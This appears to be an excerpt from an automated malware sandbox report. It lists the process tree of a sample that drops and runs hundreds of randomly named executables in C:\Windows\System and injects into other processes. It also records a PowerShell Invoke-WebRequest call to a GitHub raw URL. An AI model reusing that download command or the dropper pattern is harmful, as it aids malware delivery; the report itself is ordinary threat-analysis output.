PID 2820 wrote to memory of 956	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	49
PID 2820 wrote to memory of 776	2820	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2352
- C:\Windows\System\tcjXfbJ.exe
  C:\Windows\System\tcjXfbJ.exe
  2⤵
  - Executes dropped EXE
  PID:2208
- C:\Windows\System\dKoiORg.exe
  C:\Windows\System\dKoiORg.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\FyuUtsO.exe
  C:\Windows\System\FyuUtsO.exe
  2⤵
  - Executes dropped EXE
  PID:2804
- C:\Windows\System\BErPRWK.exe
  C:\Windows\System\BErPRWK.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\LugHabJ.exe
  C:\Windows\System\LugHabJ.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\fjpSpxJ.exe
  C:\Windows\System\fjpSpxJ.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\VVJooCh.exe
  C:\Windows\System\VVJooCh.exe
  2⤵
  - Executes dropped EXE
  PID:2716
- C:\Windows\System\zALROBN.exe
  C:\Windows\System\zALROBN.exe
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Windows\System\krrgtKF.exe
  C:\Windows\System\krrgtKF.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\mIIscJu.exe
  C:\Windows\System\mIIscJu.exe
  2⤵
  - Executes dropped EXE
  PID:2468
- C:\Windows\System\rDejfUJ.exe
  C:\Windows\System\rDejfUJ.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Windows\System\RSZiMFX.exe
  C:\Windows\System\RSZiMFX.exe
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\Windows\System\GnyymGH.exe
  C:\Windows\System\GnyymGH.exe
  2⤵
  - Executes dropped EXE
  PID:2488
- C:\Windows\System\IWwrXCx.exe
  C:\Windows\System\IWwrXCx.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\xYaWzAV.exe
  C:\Windows\System\xYaWzAV.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\YQAUfXY.exe
  C:\Windows\System\YQAUfXY.exe
  2⤵
  - Executes dropped EXE
  PID:3064
- C:\Windows\System\ZRkgddo.exe
  C:\Windows\System\ZRkgddo.exe
  2⤵
  - Executes dropped EXE
  PID:2100
- C:\Windows\System\NCUtwPl.exe
  C:\Windows\System\NCUtwPl.exe
  2⤵
  - Executes dropped EXE
  PID:1880
- C:\Windows\System\gmBuOyq.exe
  C:\Windows\System\gmBuOyq.exe
  2⤵
  - Executes dropped EXE
  PID:772
- C:\Windows\System\QSosTDh.exe
  C:\Windows\System\QSosTDh.exe
  2⤵
  - Executes dropped EXE
  PID:956
- C:\Windows\System\KSFuVTk.exe
  C:\Windows\System\KSFuVTk.exe
  2⤵
  - Executes dropped EXE
  PID:776
- C:\Windows\System\EEoFYUM.exe
  C:\Windows\System\EEoFYUM.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\ovEiNzW.exe
  C:\Windows\System\ovEiNzW.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\lVIpEDG.exe
  C:\Windows\System\lVIpEDG.exe
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Windows\System\HyoHPpb.exe
  C:\Windows\System\HyoHPpb.exe
  2⤵
  - Executes dropped EXE
  PID:1740
- C:\Windows\System\PdPcntt.exe
  C:\Windows\System\PdPcntt.exe
  2⤵
  - Executes dropped EXE
  PID:1212
- C:\Windows\System\Vdephgs.exe
  C:\Windows\System\Vdephgs.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\HdTiRtk.exe
  C:\Windows\System\HdTiRtk.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\LeXeJUE.exe
  C:\Windows\System\LeXeJUE.exe
  2⤵
  - Executes dropped EXE
  PID:240
- C:\Windows\System\lORmvBx.exe
  C:\Windows\System\lORmvBx.exe
  2⤵
  PID:588
- C:\Windows\System\wdsLeMb.exe
  C:\Windows\System\wdsLeMb.exe
  2⤵
  - Executes dropped EXE
  PID:852
- C:\Windows\System\WbOoyHs.exe
  C:\Windows\System\WbOoyHs.exe
  2⤵
  PID:2336
- C:\Windows\System\rOBhCkD.exe
  C:\Windows\System\rOBhCkD.exe
  2⤵
  - Executes dropped EXE
  PID:1360
- C:\Windows\System\OPIDpCw.exe
  C:\Windows\System\OPIDpCw.exe
  2⤵
  PID:344
- C:\Windows\System\XdObshu.exe
  C:\Windows\System\XdObshu.exe
  2⤵
  - Executes dropped EXE
  PID:1052
- C:\Windows\System\kLMTVxs.exe
  C:\Windows\System\kLMTVxs.exe
  2⤵
  PID:1900
- C:\Windows\System\MRmNtwV.exe
  C:\Windows\System\MRmNtwV.exe
  2⤵
  - Executes dropped EXE
  PID:3012
- C:\Windows\System\GOuTuwK.exe
  C:\Windows\System\GOuTuwK.exe
  2⤵
  PID:1964
- C:\Windows\System\pRigADR.exe
  C:\Windows\System\pRigADR.exe
  2⤵
  - Executes dropped EXE
  PID:2084
- C:\Windows\System\DkoSrCA.exe
  C:\Windows\System\DkoSrCA.exe
  2⤵
  PID:1996
- C:\Windows\System\KYstNKs.exe
  C:\Windows\System\KYstNKs.exe
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Windows\System\fYhfjrn.exe
  C:\Windows\System\fYhfjrn.exe
  2⤵
  PID:1156
- C:\Windows\System\bvnAQxC.exe
  C:\Windows\System\bvnAQxC.exe
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Windows\System\uSJXxVG.exe
  C:\Windows\System\uSJXxVG.exe
  2⤵
  PID:620
- C:\Windows\System\WixaHhB.exe
  C:\Windows\System\WixaHhB.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\FrCcaXM.exe
  C:\Windows\System\FrCcaXM.exe
  2⤵
  PID:2384
- C:\Windows\System\PpgflNU.exe
  C:\Windows\System\PpgflNU.exe
  2⤵
  - Executes dropped EXE
  PID:2376
- C:\Windows\System\MnrAbBp.exe
  C:\Windows\System\MnrAbBp.exe
  2⤵
  PID:920
- C:\Windows\System\CaxqQdl.exe
  C:\Windows\System\CaxqQdl.exe
  2⤵
  - Executes dropped EXE
  PID:2396
- C:\Windows\System\iejxmMk.exe
  C:\Windows\System\iejxmMk.exe
  2⤵
  PID:1988
- C:\Windows\System\jYElhwm.exe
  C:\Windows\System\jYElhwm.exe
  2⤵
  - Executes dropped EXE
  PID:2348
- C:\Windows\System\zgRlYyH.exe
  C:\Windows\System\zgRlYyH.exe
  2⤵
  PID:1688
- C:\Windows\System\lwILJjZ.exe
  C:\Windows\System\lwILJjZ.exe
  2⤵
  - Executes dropped EXE
  PID:1636
- C:\Windows\System\mVgvmeE.exe
  C:\Windows\System\mVgvmeE.exe
  2⤵
  PID:1724
- C:\Windows\System\IuausQv.exe
  C:\Windows\System\IuausQv.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\OkXpQZQ.exe
  C:\Windows\System\OkXpQZQ.exe
  2⤵
  PID:2960
- C:\Windows\System\wKMXAWJ.exe
  C:\Windows\System\wKMXAWJ.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\VSfsNym.exe
  C:\Windows\System\VSfsNym.exe
  2⤵
  PID:912
- C:\Windows\System\LymkOzE.exe
  C:\Windows\System\LymkOzE.exe
  2⤵
  - Executes dropped EXE
  PID:1060
- C:\Windows\System\ulmNHjC.exe
  C:\Windows\System\ulmNHjC.exe
  2⤵
  PID:2312
- C:\Windows\System\TsRkdzl.exe
  C:\Windows\System\TsRkdzl.exe
  2⤵
  - Executes dropped EXE
  PID:1592
- C:\Windows\System\uZQzmtV.exe
  C:\Windows\System\uZQzmtV.exe
  2⤵
  PID:1608
- C:\Windows\System\gINoVpl.exe
  C:\Windows\System\gINoVpl.exe
  2⤵
  - Executes dropped EXE
  PID:1604
- C:\Windows\System\bYVTGRd.exe
  C:\Windows\System\bYVTGRd.exe
  2⤵
  PID:3032
- C:\Windows\System\zxSrnog.exe
  C:\Windows\System\zxSrnog.exe
  2⤵
  - Executes dropped EXE
  PID:3016
- C:\Windows\System\pcQDftA.exe
  C:\Windows\System\pcQDftA.exe
  2⤵
  PID:2648
- C:\Windows\System\jOVluse.exe
  C:\Windows\System\jOVluse.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\BODYCDh.exe
  C:\Windows\System\BODYCDh.exe
  2⤵
  PID:2560
- C:\Windows\System\RfOiJRA.exe
  C:\Windows\System\RfOiJRA.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\oTqSiBK.exe
  C:\Windows\System\oTqSiBK.exe
  2⤵
  PID:2456
- C:\Windows\System\FCUHAin.exe
  C:\Windows\System\FCUHAin.exe
  2⤵
  - Executes dropped EXE
  PID:2728
- C:\Windows\System\fCygRnl.exe
  C:\Windows\System\fCygRnl.exe
  2⤵
  PID:2080
- C:\Windows\System\XpFwbxv.exe
  C:\Windows\System\XpFwbxv.exe
  2⤵
  - Executes dropped EXE
  PID:952
- C:\Windows\System\nwytdwV.exe
  C:\Windows\System\nwytdwV.exe
  2⤵
  PID:1664
- C:\Windows\System\QBhsfGJ.exe
  C:\Windows\System\QBhsfGJ.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\bxasYMK.exe
  C:\Windows\System\bxasYMK.exe
  2⤵
  PID:816
- C:\Windows\System\zRfAHJx.exe
  C:\Windows\System\zRfAHJx.exe
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\Windows\System\UFDnlvE.exe
  C:\Windows\System\UFDnlvE.exe
  2⤵
  PID:2152
- C:\Windows\System\PQqDvww.exe
  C:\Windows\System\PQqDvww.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\uipdOJy.exe
  C:\Windows\System\uipdOJy.exe
  2⤵
  PID:948
- C:\Windows\System\CoWmvCv.exe
  C:\Windows\System\CoWmvCv.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\PQovoOB.exe
  C:\Windows\System\PQovoOB.exe
  2⤵
  PID:1660
- C:\Windows\System\egBaZes.exe
  C:\Windows\System\egBaZes.exe
  2⤵
  - Executes dropped EXE
  PID:2792
- C:\Windows\System\ZxydlSu.exe
  C:\Windows\System\ZxydlSu.exe
  2⤵
  PID:324
- C:\Windows\System\mquJDWy.exe
  C:\Windows\System\mquJDWy.exe
  2⤵
  - Executes dropped EXE
  PID:304
- C:\Windows\System\bFxPjxp.exe
  C:\Windows\System\bFxPjxp.exe
  2⤵
  PID:1120
- C:\Windows\System\zKobdMN.exe
  C:\Windows\System\zKobdMN.exe
  2⤵
  - Executes dropped EXE
  PID:2356
- C:\Windows\System\wbOYakm.exe
  C:\Windows\System\wbOYakm.exe
  2⤵
  PID:1980
- C:\Windows\System\ZKSWxVB.exe
  C:\Windows\System\ZKSWxVB.exe
  2⤵
  - Executes dropped EXE
  PID:1072
- C:\Windows\System\IamroYR.exe
  C:\Windows\System\IamroYR.exe
  2⤵
  PID:3048
- C:\Windows\System\mXFgRmu.exe
  C:\Windows\System\mXFgRmu.exe
  2⤵
  - Executes dropped EXE
  PID:2292
- C:\Windows\System\seEyhUM.exe
  C:\Windows\System\seEyhUM.exe
  2⤵
  PID:2880
- C:\Windows\System\XzbwVhL.exe
  C:\Windows\System\XzbwVhL.exe
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\System\QcEINrw.exe
  C:\Windows\System\QcEINrw.exe
  2⤵
  PID:1576
- C:\Windows\System\UmvddUS.exe
  C:\Windows\System\UmvddUS.exe
  2⤵
  - Executes dropped EXE
  PID:2588
- C:\Windows\System\lMGYHvN.exe
  C:\Windows\System\lMGYHvN.exe
  2⤵
  PID:2616
- C:\Windows\System\QYhCSXQ.exe
  C:\Windows\System\QYhCSXQ.exe
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Windows\System\BfGLGqr.exe
  C:\Windows\System\BfGLGqr.exe
  2⤵
  PID:1292
- C:\Windows\System\srePSIR.exe
  C:\Windows\System\srePSIR.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\LHVaNoc.exe
  C:\Windows\System\LHVaNoc.exe
  2⤵
  PID:1432
- C:\Windows\System\fvcFrqR.exe
  C:\Windows\System\fvcFrqR.exe
  2⤵
  PID:3088
- C:\Windows\System\CwsBLCB.exe
  C:\Windows\System\CwsBLCB.exe
  2⤵
  PID:3104
- C:\Windows\System\NRIxtcz.exe
  C:\Windows\System\NRIxtcz.exe
  2⤵
  PID:3120
- C:\Windows\System\vJwAzjH.exe
  C:\Windows\System\vJwAzjH.exe
  2⤵
  PID:3136
- C:\Windows\System\dsBVABi.exe
  C:\Windows\System\dsBVABi.exe
  2⤵
  PID:3152
- C:\Windows\System\JUbNuIr.exe
  C:\Windows\System\JUbNuIr.exe
  2⤵
  PID:3168
- C:\Windows\System\ugpmCsD.exe
  C:\Windows\System\ugpmCsD.exe
  2⤵
  PID:3184
- C:\Windows\System\oIcAPQM.exe
  C:\Windows\System\oIcAPQM.exe
  2⤵
  PID:3200
- C:\Windows\System\GavaUCm.exe
  C:\Windows\System\GavaUCm.exe
  2⤵
  PID:3216
- C:\Windows\System\tBTDKQX.exe
  C:\Windows\System\tBTDKQX.exe
  2⤵
  PID:3232
- C:\Windows\System\XNQhYHE.exe
  C:\Windows\System\XNQhYHE.exe
  2⤵
  PID:3248
- C:\Windows\System\fooGlQk.exe
  C:\Windows\System\fooGlQk.exe
  2⤵
  PID:3264
- C:\Windows\System\VRUBeMq.exe
  C:\Windows\System\VRUBeMq.exe
  2⤵
  PID:3280
- C:\Windows\System\rLMdTOP.exe
  C:\Windows\System\rLMdTOP.exe
  2⤵
  PID:3296
- C:\Windows\System\ZwOoEYb.exe
  C:\Windows\System\ZwOoEYb.exe
  2⤵
  PID:3312
- C:\Windows\System\NkXQtXR.exe
  C:\Windows\System\NkXQtXR.exe
  2⤵
  PID:3328
- C:\Windows\System\CdcvFnE.exe
  C:\Windows\System\CdcvFnE.exe
  2⤵
  PID:3344
- C:\Windows\System\kYCeBMv.exe
  C:\Windows\System\kYCeBMv.exe
  2⤵
  PID:3360
- C:\Windows\System\IYNqtNC.exe
  C:\Windows\System\IYNqtNC.exe
  2⤵
  PID:3376
- C:\Windows\System\wVIXOVP.exe
  C:\Windows\System\wVIXOVP.exe
  2⤵
  PID:3392
- C:\Windows\System\ulpVquY.exe
  C:\Windows\System\ulpVquY.exe
  2⤵
  PID:3408
- C:\Windows\System\TbiIxez.exe
  C:\Windows\System\TbiIxez.exe
  2⤵
  PID:3424
- C:\Windows\System\FspfIiL.exe
  C:\Windows\System\FspfIiL.exe
  2⤵
  PID:3440
- C:\Windows\System\LRVlpeV.exe
  C:\Windows\System\LRVlpeV.exe
  2⤵
  PID:3456
- C:\Windows\System\qkrNJfq.exe
  C:\Windows\System\qkrNJfq.exe
  2⤵
  PID:3472
- C:\Windows\System\WnmFZvY.exe
  C:\Windows\System\WnmFZvY.exe
  2⤵
  PID:3488
- C:\Windows\System\SqJkDPO.exe
  C:\Windows\System\SqJkDPO.exe
  2⤵
  PID:3504
- C:\Windows\System\YRpLuuc.exe
  C:\Windows\System\YRpLuuc.exe
  2⤵
  PID:3520
- C:\Windows\System\GAuSuKf.exe
  C:\Windows\System\GAuSuKf.exe
  2⤵
  PID:3536
- C:\Windows\System\SSfSsgZ.exe
  C:\Windows\System\SSfSsgZ.exe
  2⤵
  PID:3552
- C:\Windows\System\vfvcYhz.exe
  C:\Windows\System\vfvcYhz.exe
  2⤵
  PID:3568
- C:\Windows\System\ewWxyEr.exe
  C:\Windows\System\ewWxyEr.exe
  2⤵
  PID:3584
- C:\Windows\System\qJzLiII.exe
  C:\Windows\System\qJzLiII.exe
  2⤵
  PID:3600
- C:\Windows\System\ZlxhmOP.exe
  C:\Windows\System\ZlxhmOP.exe
  2⤵
  PID:3616
- C:\Windows\System\tJlYbjR.exe
  C:\Windows\System\tJlYbjR.exe
  2⤵
  PID:3632
- C:\Windows\System\KooVVfm.exe
  C:\Windows\System\KooVVfm.exe
  2⤵
  PID:3648
- C:\Windows\System\KlkXHwJ.exe
  C:\Windows\System\KlkXHwJ.exe
  2⤵
  PID:3664
- C:\Windows\System\DosgTGJ.exe
  C:\Windows\System\DosgTGJ.exe
  2⤵
  PID:3680
- C:\Windows\System\oyfiTDX.exe
  C:\Windows\System\oyfiTDX.exe
  2⤵
  PID:3696
- C:\Windows\System\tGoYPCY.exe
  C:\Windows\System\tGoYPCY.exe
  2⤵
  PID:3712
- C:\Windows\System\rnnjwyJ.exe
  C:\Windows\System\rnnjwyJ.exe
  2⤵
  PID:3728
- C:\Windows\System\dHjBeIC.exe
  C:\Windows\System\dHjBeIC.exe
  2⤵
  PID:3744
- C:\Windows\System\xFPWCsO.exe
  C:\Windows\System\xFPWCsO.exe
  2⤵
  PID:3760
- C:\Windows\System\TLefuaK.exe
  C:\Windows\System\TLefuaK.exe
  2⤵
  PID:3776
- C:\Windows\System\DRayQQW.exe
  C:\Windows\System\DRayQQW.exe
  2⤵
  PID:3792
- C:\Windows\System\cKGJZbX.exe
  C:\Windows\System\cKGJZbX.exe
  2⤵
  PID:3808
- C:\Windows\System\vCpnIwc.exe
  C:\Windows\System\vCpnIwc.exe
  2⤵
  PID:3824
- C:\Windows\System\VRJChRG.exe
  C:\Windows\System\VRJChRG.exe
  2⤵
  PID:3840
- C:\Windows\System\QLCpufG.exe
  C:\Windows\System\QLCpufG.exe
  2⤵
  PID:3856
- C:\Windows\System\XdzMSJB.exe
  C:\Windows\System\XdzMSJB.exe
  2⤵
  PID:3872
- C:\Windows\System\qAtvPKb.exe
  C:\Windows\System\qAtvPKb.exe
  2⤵
  PID:3888
- C:\Windows\System\ehYppnz.exe
  C:\Windows\System\ehYppnz.exe
  2⤵
  PID:3904
- C:\Windows\System\XkJsBdM.exe
  C:\Windows\System\XkJsBdM.exe
  2⤵
  PID:3920
- C:\Windows\System\jncnTJL.exe
  C:\Windows\System\jncnTJL.exe
  2⤵
  PID:3936
- C:\Windows\System\WFUrpFV.exe
  C:\Windows\System\WFUrpFV.exe
  2⤵
  PID:3952
- C:\Windows\System\ZKiWDgD.exe
  C:\Windows\System\ZKiWDgD.exe
  2⤵
  PID:3968
- C:\Windows\System\xVcXVBr.exe
  C:\Windows\System\xVcXVBr.exe
  2⤵
  PID:3984
- C:\Windows\System\XNpGJuL.exe
  C:\Windows\System\XNpGJuL.exe
  2⤵
  PID:4000
- C:\Windows\System\RmgvPcI.exe
  C:\Windows\System\RmgvPcI.exe
  2⤵
  PID:4016
- C:\Windows\System\bcOFpBN.exe
  C:\Windows\System\bcOFpBN.exe
  2⤵
  PID:4032
- C:\Windows\System\KVqeDbR.exe
  C:\Windows\System\KVqeDbR.exe
  2⤵
  PID:4052
- C:\Windows\System\ygyIokb.exe
  C:\Windows\System\ygyIokb.exe
  2⤵
  PID:4068
- C:\Windows\System\PJCsxgB.exe
  C:\Windows\System\PJCsxgB.exe
  2⤵
  PID:2836
- C:\Windows\System\aJYRsHg.exe
  C:\Windows\System\aJYRsHg.exe
  2⤵
  PID:2712
- C:\Windows\System\xJVziGm.exe
  C:\Windows\System\xJVziGm.exe
  2⤵
  PID:1136
- C:\Windows\System\SDAKiZD.exe
  C:\Windows\System\SDAKiZD.exe
  2⤵
  PID:3128
- C:\Windows\System\ykEOdoI.exe
  C:\Windows\System\ykEOdoI.exe
  2⤵
  PID:3164
- C:\Windows\System\NVILrar.exe
  C:\Windows\System\NVILrar.exe
  2⤵
  PID:3228
- C:\Windows\System\UTrYKkX.exe
  C:\Windows\System\UTrYKkX.exe
  2⤵
  PID:3288
- C:\Windows\System\PANMzfk.exe
  C:\Windows\System\PANMzfk.exe
  2⤵
  PID:3352
- C:\Windows\System\TqHtRmy.exe
  C:\Windows\System\TqHtRmy.exe
  2⤵
  PID:3416
- C:\Windows\System\awJcXum.exe
  C:\Windows\System\awJcXum.exe
  2⤵
  PID:3480
- C:\Windows\System\BOOkKGF.exe
  C:\Windows\System\BOOkKGF.exe
  2⤵
  PID:3544
- C:\Windows\System\WeWKwtV.exe
  C:\Windows\System\WeWKwtV.exe
  2⤵
  PID:2644
- C:\Windows\System\PIvfCVN.exe
  C:\Windows\System\PIvfCVN.exe
  2⤵
  PID:3644
- C:\Windows\System\FKgsjik.exe
  C:\Windows\System\FKgsjik.exe
  2⤵
  PID:3708
- C:\Windows\System\MvxPyAG.exe
  C:\Windows\System\MvxPyAG.exe
  2⤵
  PID:3772
- C:\Windows\System\HfdLgnU.exe
  C:\Windows\System\HfdLgnU.exe
  2⤵
  PID:3836
- C:\Windows\System\NcovAVG.exe
  C:\Windows\System\NcovAVG.exe
  2⤵
  PID:3900
- C:\Windows\System\lCkuUgf.exe
  C:\Windows\System\lCkuUgf.exe
  2⤵
  PID:3932
- C:\Windows\System\SxIDuFd.exe
  C:\Windows\System\SxIDuFd.exe
  2⤵
  PID:1956
- C:\Windows\System\qhZRePd.exe
  C:\Windows\System\qhZRePd.exe
  2⤵
  PID:3996
- C:\Windows\System\LhxWEms.exe
  C:\Windows\System\LhxWEms.exe
  2⤵
  PID:4060
- C:\Windows\System\lhwXGaP.exe
  C:\Windows\System\lhwXGaP.exe
  2⤵
  PID:2848
- C:\Windows\System\MHrLkOe.exe
  C:\Windows\System\MHrLkOe.exe
  2⤵
  PID:2008
- C:\Windows\System\gwoQFAa.exe
  C:\Windows\System\gwoQFAa.exe
  2⤵
  PID:4100
- C:\Windows\System\dXEfOTP.exe
  C:\Windows\System\dXEfOTP.exe
  2⤵
  PID:4120
- C:\Windows\System\hcnwFpU.exe
  C:\Windows\System\hcnwFpU.exe
  2⤵
  PID:4136
- C:\Windows\System\bUxPmGS.exe
  C:\Windows\System\bUxPmGS.exe
  2⤵
  PID:4152
- C:\Windows\System\qSVnCGf.exe
  C:\Windows\System\qSVnCGf.exe
  2⤵
  PID:4168
- C:\Windows\System\NmSjAlW.exe
  C:\Windows\System\NmSjAlW.exe
  2⤵
  PID:4184
- C:\Windows\System\YicZiJI.exe
  C:\Windows\System\YicZiJI.exe
  2⤵
  PID:4200
- C:\Windows\System\qiUojLp.exe
  C:\Windows\System\qiUojLp.exe
  2⤵
  PID:4220
- C:\Windows\System\vchCilI.exe
  C:\Windows\System\vchCilI.exe
  2⤵
  PID:4236
- C:\Windows\System\ljssbtS.exe
  C:\Windows\System\ljssbtS.exe
  2⤵
  PID:4252
- C:\Windows\System\LjGhopc.exe
  C:\Windows\System\LjGhopc.exe
  2⤵
  PID:4268
- C:\Windows\System\SjAtblC.exe
  C:\Windows\System\SjAtblC.exe
  2⤵
  PID:4284
- C:\Windows\System\wVpHAan.exe
  C:\Windows\System\wVpHAan.exe
  2⤵
  PID:4300
- C:\Windows\System\bKogkfC.exe
  C:\Windows\System\bKogkfC.exe
  2⤵
  PID:5044
- C:\Windows\System\MLiiFNl.exe
  C:\Windows\System\MLiiFNl.exe
  2⤵
  PID:5096
- C:\Windows\System\Jbhyavm.exe
  C:\Windows\System\Jbhyavm.exe
  2⤵
  PID:1504
- C:\Windows\System\JIFItmf.exe
  C:\Windows\System\JIFItmf.exe
  2⤵
  PID:1912
- C:\Windows\System\iAFOrNX.exe
  C:\Windows\System\iAFOrNX.exe
  2⤵
  PID:904
- C:\Windows\System\QJoUVtq.exe
  C:\Windows\System\QJoUVtq.exe
  2⤵
  PID:1712
- C:\Windows\System\ldDIyND.exe
  C:\Windows\System\ldDIyND.exe
  2⤵
  PID:2044
- C:\Windows\System\OjBbdGr.exe
  C:\Windows\System\OjBbdGr.exe
  2⤵
  PID:1264
- C:\Windows\System\clfdzIo.exe
  C:\Windows\System\clfdzIo.exe
  2⤵
  PID:1476
- C:\Windows\System\uRauCRv.exe
  C:\Windows\System\uRauCRv.exe
  2⤵
  PID:700
- C:\Windows\System\dwUWQZg.exe
  C:\Windows\System\dwUWQZg.exe
  2⤵
  PID:3196
- C:\Windows\System\TVddzyT.exe
  C:\Windows\System\TVddzyT.exe
  2⤵
  PID:3452
- C:\Windows\System\iYYBMRp.exe
  C:\Windows\System\iYYBMRp.exe
  2⤵
  PID:3804
- C:\Windows\System\vQbxEMF.exe
  C:\Windows\System\vQbxEMF.exe
  2⤵
  PID:2696
- C:\Windows\System\ikmChiQ.exe
  C:\Windows\System\ikmChiQ.exe
  2⤵
  PID:4128
- C:\Windows\System\MXncTyB.exe
  C:\Windows\System\MXncTyB.exe
  2⤵
  PID:4192
- C:\Windows\System\ngkKwTB.exe
  C:\Windows\System\ngkKwTB.exe
  2⤵
  PID:4292
- C:\Windows\System\SwiDFDH.exe
  C:\Windows\System\SwiDFDH.exe
  2⤵
  PID:3044
- C:\Windows\System\ypCtsxy.exe
  C:\Windows\System\ypCtsxy.exe
  2⤵
  PID:3116
- C:\Windows\System\FIGjBEH.exe
  C:\Windows\System\FIGjBEH.exe
  2⤵
  PID:3208
- C:\Windows\System\zYXMevi.exe
  C:\Windows\System\zYXMevi.exe
  2⤵
  PID:3304
- C:\Windows\System\PbDUtvC.exe
  C:\Windows\System\PbDUtvC.exe
  2⤵
  PID:3404
- C:\Windows\System\qckIWOZ.exe
  C:\Windows\System\qckIWOZ.exe
  2⤵
  PID:3468
- C:\Windows\System\wPvfQQm.exe
  C:\Windows\System\wPvfQQm.exe
  2⤵
  PID:3596
- C:\Windows\System\mzjAzwK.exe
  C:\Windows\System\mzjAzwK.exe
  2⤵
  PID:3720
- C:\Windows\System\AlVswCR.exe
  C:\Windows\System\AlVswCR.exe
  2⤵
  PID:3816
- C:\Windows\System\ATJOsaF.exe
  C:\Windows\System\ATJOsaF.exe
  2⤵
  PID:3884
- C:\Windows\System\psvjLPR.exe
  C:\Windows\System\psvjLPR.exe
  2⤵
  PID:3976
- C:\Windows\System\hYlHcHD.exe
  C:\Windows\System\hYlHcHD.exe
  2⤵
  PID:4084
- C:\Windows\System\OFJKVqg.exe
  C:\Windows\System\OFJKVqg.exe
  2⤵
  PID:384
- C:\Windows\System\SrBFBth.exe
  C:\Windows\System\SrBFBth.exe
  2⤵
  PID:704
- C:\Windows\System\fMBSszx.exe
  C:\Windows\System\fMBSszx.exe
  2⤵
  PID:2020
- C:\Windows\System\HAKygsi.exe
  C:\Windows\System\HAKygsi.exe
  2⤵
  PID:968
- C:\Windows\System\uOgLAzE.exe
  C:\Windows\System\uOgLAzE.exe
  2⤵
  PID:3368
- C:\Windows\System\kUuiGLw.exe
  C:\Windows\System\kUuiGLw.exe
  2⤵
  PID:3880
- C:\Windows\System\mMaQfMr.exe
  C:\Windows\System\mMaQfMr.exe
  2⤵
  PID:4796
- C:\Windows\System\OsoVABi.exe
  C:\Windows\System\OsoVABi.exe
  2⤵
  PID:2028
- C:\Windows\System\VCIYyVs.exe
  C:\Windows\System\VCIYyVs.exe
  2⤵
  PID:3260
- C:\Windows\System\qTgngId.exe
  C:\Windows\System\qTgngId.exe
  2⤵
  PID:3612
- C:\Windows\System\cVHbZie.exe
  C:\Windows\System\cVHbZie.exe
  2⤵
  PID:3868
- C:\Windows\System\QBvrLEY.exe
  C:\Windows\System\QBvrLEY.exe
  2⤵
  PID:4064
- C:\Windows\System\GEoYRyu.exe
  C:\Windows\System\GEoYRyu.exe
  2⤵
  PID:4144
- C:\Windows\System\trnQpXe.exe
  C:\Windows\System\trnQpXe.exe
  2⤵
  PID:4212
- C:\Windows\System\CbJJmVO.exe
  C:\Windows\System\CbJJmVO.exe
  2⤵
  PID:4248
- C:\Windows\System\QlJAsMq.exe
  C:\Windows\System\QlJAsMq.exe
  2⤵
  PID:4320
- C:\Windows\System\dxGvSuR.exe
  C:\Windows\System\dxGvSuR.exe
  2⤵
  PID:4348
- C:\Windows\System\QCMlfRb.exe
  C:\Windows\System\QCMlfRb.exe
  2⤵
  PID:4368
- C:\Windows\System\tYlyjJy.exe
  C:\Windows\System\tYlyjJy.exe
  2⤵
  PID:4404
- C:\Windows\System\gYDprQu.exe
  C:\Windows\System\gYDprQu.exe
  2⤵
  PID:4420
- C:\Windows\System\FmTHqGp.exe
  C:\Windows\System\FmTHqGp.exe
  2⤵
  PID:4440
- C:\Windows\System\HKnsgGU.exe
  C:\Windows\System\HKnsgGU.exe
  2⤵
  PID:4460
- C:\Windows\System\TBClSdK.exe
  C:\Windows\System\TBClSdK.exe
  2⤵
  PID:4480
- C:\Windows\System\YZGkVqt.exe
  C:\Windows\System\YZGkVqt.exe
  2⤵
  PID:4500
- C:\Windows\System\nNWqPVz.exe
  C:\Windows\System\nNWqPVz.exe
  2⤵
  PID:4520
- C:\Windows\System\nYvSrSn.exe
  C:\Windows\System\nYvSrSn.exe
  2⤵
  PID:4536
- C:\Windows\System\qsyvnQS.exe
  C:\Windows\System\qsyvnQS.exe
  2⤵
  PID:4560
